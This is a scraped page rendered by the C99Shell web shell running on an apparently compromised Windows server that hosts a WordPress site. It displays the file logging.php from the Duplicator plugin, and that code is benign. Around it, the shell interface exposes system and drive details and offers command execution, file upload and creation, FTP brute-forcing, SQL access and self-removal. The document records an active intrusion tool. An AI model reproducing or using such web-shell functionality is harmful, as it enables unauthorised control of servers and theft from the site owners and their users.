!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\cumbreclima\wp-content\plugins\duplicator\classes\   drwxrwxrwx
Free 4.13 GB of 39.52 GB (10.45%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     logging.php (2.78 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
if ( ! defined('DUPLICATOR_VERSION') ) exit; // Exit if accessed directly

/**
 * Helper Class for logging
 * @package Dupicator\classes
 */
class DUP_Log {
    
    
/**
     * The file handle used to write to the log file
     * @var file resource 
     */
    
private static $logFileHandle;
    
    
/**
     *  Open a log file connection for writing
     *  @param string $name Name of the log file to create
     */
    
static public function Open($name) {
        if (! isset(
$name)) throw new Exception("A name value is required to open a file log.");
        
self::$logFileHandle = @fopen(DUPLICATOR_SSDIR_PATH "/{$name}.log""c+");    
    }
    
    
/**
     *  Close the log file connection
     */
    
static public function Close() {
         @
fclose(self::$logFileHandle);
    }
    
    
/**
     *  General information logging
     *  @param string $msg    The message to log
     * 
     *  REPLACE TO DEBUG: Memory consuption as script runs    
     *    $results = DUP_Util::ByteSize(memory_get_peak_usage(true)) . "\t" . $msg;
     *    @fwrite(self::$logFileHandle, "{$results} \n"); 
     */
    
static public function Info($msg) {
        @
fwrite(self::$logFileHandle"{$msg} \n"); 
        
//$results = DUP_Util::ByteSize(memory_get_usage(true)) . "\t" . $msg;
        //@fwrite(self::$logFileHandle, "{$results} \n"); 
    
}
    
    
/**
    *  Called when an error is detected and no further processing should occur
    *  @param string $msg The message to log
    *  @param string $details Additional details to help resolve the issue if possible
    */
    
static public function Error($msg$detail) {
        
        
$source self::getStack(debug_backtrace());
        
        
$err_msg  "\n==================================================================================\n";
        
$err_msg .= "!!DUPLICATOR ERROR!!\n";
        
$err_msg .= "Please Try Again! If the error persists please see the Duplicator 'Support' link.\n";
        
$err_msg .= "---------------------------------------------------------------------------------\n";
        
$err_msg .= "MESSAGE:\n{$msg}\n";
        if (
strlen($detail)) {
            
$err_msg .= "DETAILS:\n{$detail}\n";
        }
        
$err_msg .= "---------------------------------------------------------------------------------\n";
        
$err_msg .= "TRACE:\n{$source}";
        
$err_msg .= "==================================================================================\n\n";
        @
fwrite(self::$logFileHandle"\n{$err_msg}"); 
        die(
"DUPLICATOR ERROR: Please see the duplicator log file.");
    }
    
    
    
/** 
     * The current strack trace of a PHP call
     * @param $stacktrace The current debug stack
     * @return string 
     */ 
    
public static function getStack($stacktrace) {
        
$output "";
        
$i 1;
        foreach(
$stacktrace as $node) {
            
$output .= "$i. ".basename($node['file']) ." : " .$node['function'] ." (" .$node['line'].")\n";
            
$i++;
        }
        return 
$output;
    } 

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--